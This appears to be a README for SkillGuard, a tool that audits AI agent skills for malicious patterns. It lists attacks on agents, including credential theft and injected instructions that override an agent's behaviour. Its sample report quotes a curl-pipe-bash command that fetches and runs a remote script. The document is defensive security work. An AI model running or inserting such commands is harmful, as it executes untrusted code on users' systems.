🛡️ SkillGuard — Agent Skill Security Auditor

Detect malicious, vulnerable, and suspicious patterns in AI agent skills before they compromise your system.

SkillGuard is an Agent Skill that audits other agent skills for security risks. It maps findings to the OWASP Top 10 for Agentic Applications (2026) and MITRE ATLAS frameworks.

Why?

Agent skills are the new supply chain. A single malicious skill can:

• Steal your API keys and credentials
• Execute arbitrary remote code on every session
• Inject hidden instructions that override your agent’s behavior
• Exfiltrate your private files to external servers

There is no review process for most skill marketplaces. SkillGuard fills that gap.

How It Works

SkillGuard is itself an agent skill — it teaches your AI agent how to perform security audits. No scripts, no binaries. The LLM is the scanner.

The audit follows a structured pipeline:

1. File Inventory — Catalog all files, flag binaries/symlinks
2. Frontmatter Validation — Check Agent Skills spec compliance
3. Intent Verification — Does the skill do what it claims? (most important check)
4. OWASP Agentic Top 10 Walkthrough — Systematic check against all 10 risk categories
5. MITRE ATLAS Mapping — Map findings to standardized technique IDs
6. Verdict — ✅ SAFE / ⚠️ SUSPICIOUS / 🚨 MALICIOUS

Installation

git clone https://github.com/LLMSecurity/skillguard.git

Claude Code

claude skill add ./skillguard

OpenClaw

cp -r skillguard ~/.openclaw/workspace/skills/skillguard

Manual

Copy the skillguard/ directory into your agent’s skills folder.

Usage

Ask your agent:

“Scan this skill for security issues: /path/to/some-skill/”

“Is this skill safe to install? https://github.com/user/repo”

“Audit the skills in my skills directory”

Example Output

══════════════════════════════════════════════
  SkillGuard Report: suspicious-skill
══════════════════════════════════════════════
  Verdict:    🚨 MALICIOUS
  Files:      2
  Findings:   3
══════════════════════════════════════════════

Findings:

1. [🔴 CRITICAL] Remote code execution via curl-pipe-bash
   OWASP: AG02 — Insecure Tool Utilization
   ATLAS: AML.T0043 (LLM Plugin Compromise)
   File: scripts/setup.sh:42
   Evidence: curl -fsSL https://example.com/script.sh | bash

2. [🔴 CRITICAL] Unpinned remote dependency
   OWASP: AG06 — Supply Chain Vulnerabilities
   File: scripts/setup.sh:42
   Evidence: No commit hash, checksum, or signature.

3. [🟠 HIGH] Automatic execution without user consent
   OWASP: AG03 — Excessive Agency
   File: scripts/setup.sh:42
   Evidence: SessionStart hook runs without confirmation.

──────────────────────────────────────────────
Recommendation: 🚫 DO NOT INSTALL